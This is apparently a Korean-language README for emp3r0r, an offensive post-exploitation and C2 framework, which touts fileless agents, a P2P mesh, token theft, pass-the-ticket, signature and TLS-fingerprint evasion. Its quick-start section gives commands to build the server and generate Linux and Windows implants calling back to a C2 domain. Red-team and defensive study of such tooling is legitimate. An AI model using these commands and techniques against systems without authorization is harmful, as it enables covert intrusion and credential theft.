
emp3r0r v4.15.0
자가 치유 Gossip Mesh C2: 지원 피어 발견, 크로스 플랫폼 BOF 실행, 스크립트 가능 에이전트.
emp3r0r
Linux와 Windows를 위한 자가 치유형, 메모리 전용 C2 — 끊어진 링크에서도 살아남고, 디스크에 절대 닿지 않으며, Win32 API를 스크립트로 헤쳐 나가는 에이전트.
emp3r0r란 무엇인가?
emp3r0r는 은닉성과 복원력이 선택 사항이 아닌 Linux 및 Windows 환경을 위해 만들어진 포스트 익스플로잇 프레임워크이자 C2입니다. 단일 서버로의 안정적인 연결을 가정하는 대신, 에이전트들은 링크가 끊겨도 계속 작동하는 자가 치유 메시를 형성합니다. 대상에게 Python이나 PowerShell을 요구하는 대신, 모든 것을 메모리에서 실행합니다. 그리고 하나의 플랫폼 트릭에 국한되는 대신, emp3r0r는 Windows BOF, Linux 오브젝트, Starlark 스크립트를 실행합니다 — 모두 파일리스로, 모두 프로세스 내에서.
주요 하이라이트 및 고유 기능
🐍 스크립트 가능한 에이전트 (내장 Starlark 엔진 및 Win32 API 프록시)
모든 에이전트는 자체 스크립팅 엔진을 탑재하고 있어, 컴파일하거나 바이너리를 배포하지 않고도 새로운 포스트 익스플로잇 로직을 추가할 수 있습니다.
- 스크립트는 전적으로 메모리에서 실행됩니다 — 대상에 Python, Bash, PowerShell이 필요 없고, 명령 인터프리터도 생성되지 않습니다.
- 내장 API의 전체 세트가 파일 I/O, HTTP, 명령 실행 등을 스크립트 코드에서 바로 처리합니다.
- Windows에서는 스크립트가 네이티브 Win32 함수를 직접 호출할 수 있습니다 — 에이전트가 시스템 DLL로 곧바로 프록시합니다.
- 모듈은 작은 JSON 매니페스트와 함께 순수한 Starlark 파일이므로, 직접 추가하기 쉽고 파일리스입니다.
중요한 이유: 에이전트 기능을 작성하고 확장하는 일이 스크립트를 편집하는 것만큼 간단해지며, 대상에 인터프리터나 새 바이너리를 떨어뜨리는 흔적이 전혀 없습니다.
🔐 TOFU 암호화 신원 고정
에이전트는 처음 통신할 때 자신의 신원을 암호화 키에 바인딩하며, 이 바인딩은 절대 변경되지 않습니다.
- 다른 자격 증명으로의 재등록은 사칭으로 간주되어 거부됩니다.
- 에이전트 제거는 명시적인 운영자 결정이며, 탈취된 키가 조용히 할 수 있는 일이 아닙니다.
중요한 이유: 세션 하이재킹과 에이전트 복제는 일어나지 않습니다. 통신하는 모든 에이전트는 당신이 등록한 그 에이전트입니다.
🔒 완전 순방향 비밀성 (PFS)
모든 C2 및 피어 링크는 세션에서 파생된 암호화 키와 함께 임시 ECDH 키를 사용합니다.
중요한 이유: 장기 키가 나중에 침해되더라도, 이미 지나간 트래픽을 복호화하는 데 사용될 수 없습니다.
🕸️ 자율 P2P 가십 메시 네트워크
에이전트는 서로를 발견하고 가십 메시를 통해 트래픽을 중계하므로, 하나의 링크나 서버가 사라져도 작전이 붕괴되지 않습니다.
- 피어는 위장 mTLS 1.3 또는 신뢰성 있는 UDP(KCP)로 연결되며, 모든 홉이 암호화됩니다.
- 트래픽은 죽은 릴레이를 자동으로 우회합니다 — 작전 중 수동 프록시 조작이 필요 없습니다.
- C2에 직접 접근할 수 없는 세그먼트도 이웃을 통해 계속 도달 가능합니다.
중요한 이유: 네트워크가 당신을 대신해 피벗합니다. 링크를 끊거나, 박스를 잃거나, C2를 차단해도 에이전트는 스스로 경로를 재설정합니다.
📂 P2P 파일시스템
파일은 C2를 통해서만이 아니라 에이전트 간에 직접 이동합니다.
- 전송은 암호화된 피어 투 피어 터널을 타므로, 내부 네트워크가 서버에서 병목이 되지 않습니다.
- 파일은 암호화된 블롭으로 에이전트 메모리에 캐시되고 요청 시 피어에 제공됩니다.
- 피어 중 아무도 파일을 가지고 있지 않으면, 에이전트가 C2에서 자동으로 가져옵니다.
중요한 이유: 전달이 빠르고 대부분 C2 채널에 보이지 않습니다 — 유출 제한 환경에 이상적입니다.
📡 다중 프로토콜 리스너 및 플러그 가능 스테이저
에이전트를 심는 일은 그것을 살려두는 일만큼이나 중요하게 다뤄집니다.
- 신뢰성 있는 프레이밍과 사용자 정의 가능한 HTTP 프로필을 갖춘 HTTP, TCP, UDP 리스너.
- 직접 Linux 시스템 콜에 기반한 약 2KB 스테이저 — 대상에 libc도, 툴체인도 필요 없습니다.
- 플러그 가능한 스테이저 전송과 자가 해제 패커를 통해 초기 접근을 대상이 허용하는 어떤 채널에도 녹여낼 수 있고, 그 과정에서 정적 시그니처 매칭을 무력화합니다.
- 스테이지와 에이전트 코드는 읽기/쓰기/실행 규율을 준수합니다 — 절대 RWX가 아닙니다.
중요한 이유: 작고, 적응력 있으며, 메모리 위생적인 초기 접근은 다른 방법으로는 도달할 수 없는 호스트에 착륙할 수 있게 해줍니다.
🧩 네이티브 크로스 플랫폼 BOF 및 PICO 지원 (COFF, ELF 및 PICO)
컴파일된 C 모듈을 어느 플랫폼에서든 프로세스 내에서 실행합니다:
- 타입 지정 인자 패킹을 지원하는 Windows COFF/BOF 바이너리.
- 에이전트 메모리에 직접 로드되는 Linux ELF 재배치 가능 오브젝트.
- SilentMoonwalk 콜스택 스푸핑을 사용하는 Crystal-Kit PICO 모듈.
- Kerbeus-BOF, Remote-OPs, 상황 인식 제품군이 바로 사용 가능한 상태로 제공됩니다.
중요한 이유: BOF는 로더만큼만 좋습니다 — emp3r0r는 Linux와 Windows 모두에서 새 프로세스 없이, 흔적도 남기지 않고 프로세스 내에서 실행합니다.
🔑 Windows 토큰, Netonly 세션 및 Kerberos 티켓 (PTT)
Windows 호스트에 올라가면, emp3r0r는 도구를 떨어뜨리지 않고도 그 위의 사용자가 될 수 있게 해줍니다.
- 실행 중인 모든 프로세스에서 액세스 토큰을 탈취하여 어디서나 사용합니다: Go 모듈, Starlark, BOF.
- 모듈의
--user플래그로 일회용 netonly 세션을 생성합니다: 이들은 에이전트 자체의 신원을 유지하고 아웃바운드 접근에만 대상 사용자의 신원을 빌립니다 — 어떤 비밀번호든 작동하며, 아무것도 검증되지 않습니다. --ticket플래그로 Kerberos 티켓을 가져와 완전한 pass-the-ticket을 수행합니다: 네트워크 신원은 티켓의 것이 되고(예: Domain Admin), 로컬 신원은 절대 변하지 않습니다.- 모든 토큰 인식 모듈이
--token,--user,--ticket을 받아들이므로, 신원 전환은 플래그 하나 거리에 있습니다 — 단일 명령으로 세션을 생성하고 티켓을 로드하는 것까지 포함합니다. - 티켓은 로그온 세션별로 존재하므로, DA 자료는 제거 가능한 일회용 세션에 격리된 채로 남고, 에이전트 프로세스 자체는 깨끗하게 유지됩니다.
중요한 이유: 에이전트가 전혀 없는 머신으로의 측면 이동 — SMB 공유, 서비스 제어, CIFS — 이 워크플로의 일상적인 부분이 되며, 디스크 위의 도구가 아닌 빌린 사용자로 인증됩니다.
🧦 SOCKS5 피벗팅 및 운영자 측 tun2socks
또 다른 임플란트를 태우지 않고 피벗하세요: C2가 선택한 에이전트를 통해 중계하는 SOCKS5 프록시를 실행하고, 운영자 측은 투명 TUN 디바이스로 한 걸음 더 나아갈 수 있습니다.
socks_start 1080은 선택한 에이전트를 통해 터널링하는 SOCKS5 엔드포인트를 C2에 제공합니다 — proxychains나 아무 도구나 여기에 지정하면 대상 네트워크 안에 들어갑니다.tun2socks start --route 10.10.0.0/24는 지정한 서브넷만 해당 프록시를 통해 라우팅하는 TUN 디바이스를 생성합니다 — 나머지는 모두 평소 연결을 계속 사용합니다.- 결과는 에이전트에서 발생한 것처럼 보이며, 도구별 프록시 구성이 필요 없습니다.
중요한 이유: 에이전트 측 전체 네트워크에 투명하게 도달하세요 — DC에 curl하고, 아무 도구나 사용하며 — 유출이 운영자 박스가 아닌 대상 네트워크에서 오는 것처럼 보입니다.
🎭 플러그 가능 C2 전송, uTLS JA3 회피 및 CBOR 프로토콜
- 비콘 스타일 HTTP 폴링 또는 스트리밍 HTTP/2 중 선택 — 둘 다 가변 프로필을 지원합니다.
- TLS 지문은 uTLS로 무작위화되어, 채널이 네트워크 텔레메트리에서 눈에 띄지 않습니다.
- 제어 트래픽은 컴팩트한 CBOR 프로토콜을 탑니다 — JSON보다 작고, 빠르며, 파싱하기 어렵습니다.
중요한 이유: C2 채널은 평범한 트래픽처럼 보이도록 만들어지고, 회선에서 간결하게 유지됩니다.
💾 암호화된 메모리 우선 스토리지
- 에이전트 파일 작업은 메모리 내 AES-GCM 암호화 가상 파일시스템에 대해 실행됩니다. 대용량 데이터는 식별 가능한 헤더가 없는 암호화된 블롭으로만 디스크에 흘러넘칩니다.
- P2P 가능 에이전트는 가져온 것을 캐시하고 피어와 공유하여 C2 트래픽을 더욱 줄입니다.
중요한 이유: 디스크조차 적대적으로 취급됩니다 — 에이전트는 발견될 평문 아티팩트를 남기지 않습니다.
빠른 시작
1. C2 서버 설치
emp3r0r를 빌드하려면 호스트에 Docker 또는 Podman이 필요합니다 — 로컬 Go 툴체인은 필요 없습니다.
git clone --depth=1 https://github.com/jm33-m0/emp3r0r.git && cd emp3r0r
./install.py
설치 프로그램은 일회용 컨테이너에서 모든 것을 빌드하고 운영자 키트를 준비합니다. 유용한 플래그: --lightweight (Linux/Windows amd64만, 가장 빠름), --targets OS/ARCH,..., --debug, --skip-build.
서버 실행:
emp3r0r server --c2-hosts 1.2.3.4 --http-port 12345 --operator-port 13377
2. 운영자 머신 설정
tar --zstd -xpf emp3r0r-operator-kit.tar.zst
cd ./emp3r0r-operator-kit && ./install.py
서버가 출력한 WireGuard 자격 증명을 사용하여 연결:
emp3r0r client --c2-port 13377 \
--server-wg-key '<SERVER_WG_KEY>' --server-wg-ip '<SERVER_WG_IP>' \
--operator-wg-ip '<OPERATOR_WG_IP>' --operator-wg-key '<OPERATOR_WG_KEY>' \
--c2-host 1.2.3.4
3. 에이전트 페이로드 생성
운영자 콘솔 내에서:
# Direct C2 agent
generate --type linux_executable --arch amd64 --cc your.domain.com
# Mesh gateway agent (also reachable from the C2 directly)
generate --type linux_executable --arch amd64 --cc your.domain.com \
--p2p --direct-c2 --p2p-transport mtls
# Mesh intermediate peer (relays for other agents)
generate --type linux_executable --arch amd64 --cc your.domain.com \
--p2p --p2p-transport mtls --peers 1.2.3.4
# Windows mesh peer over SMB named pipes (local \\.\pipe, cross-host \\host\pipe),
# AES-GCM framed like the other transports
# (requires the Windows SMB stack / logon session to reach the peer)
generate --type windows_executable --arch amd64 --cc your.domain.com \
--p2p --p2p-transport smb
메시 노드는 서로 다른 전송을 실행할 수 있습니다. 각 에이전트는 자신의 릴레이가 수신하는 전송과 포트를 광고하며, 다이얼러는 항상 피어의 광고된 전송을 사용하므로, 혼합 메시(예: Linux mTLS 노드와 함께 있는 Windows SMB 노드)는 모두가 로컬 기본값을 실행한다고 가정하는 대신 사용 가능한 전송을 공유하는 피어를 통해 라우팅합니다. smb는 Windows 페이로드에만 허용되며, kcp/mtls는 어디서나 작동합니다.
문서 및 리소스
- 📝 보안 정책: SECURITY.md
- 📜 변경 로그: CHANGELOG.md
- 🛠️ 모듈 개발 가이드: core/modules/module_development_guide.md
개발 지원
emp3r0r가 보안 연구와 테스트에 가치가 있었다면, GitHub Sponsors를 통해 지속적인 개발을 지원하는 것을 고려해 보세요.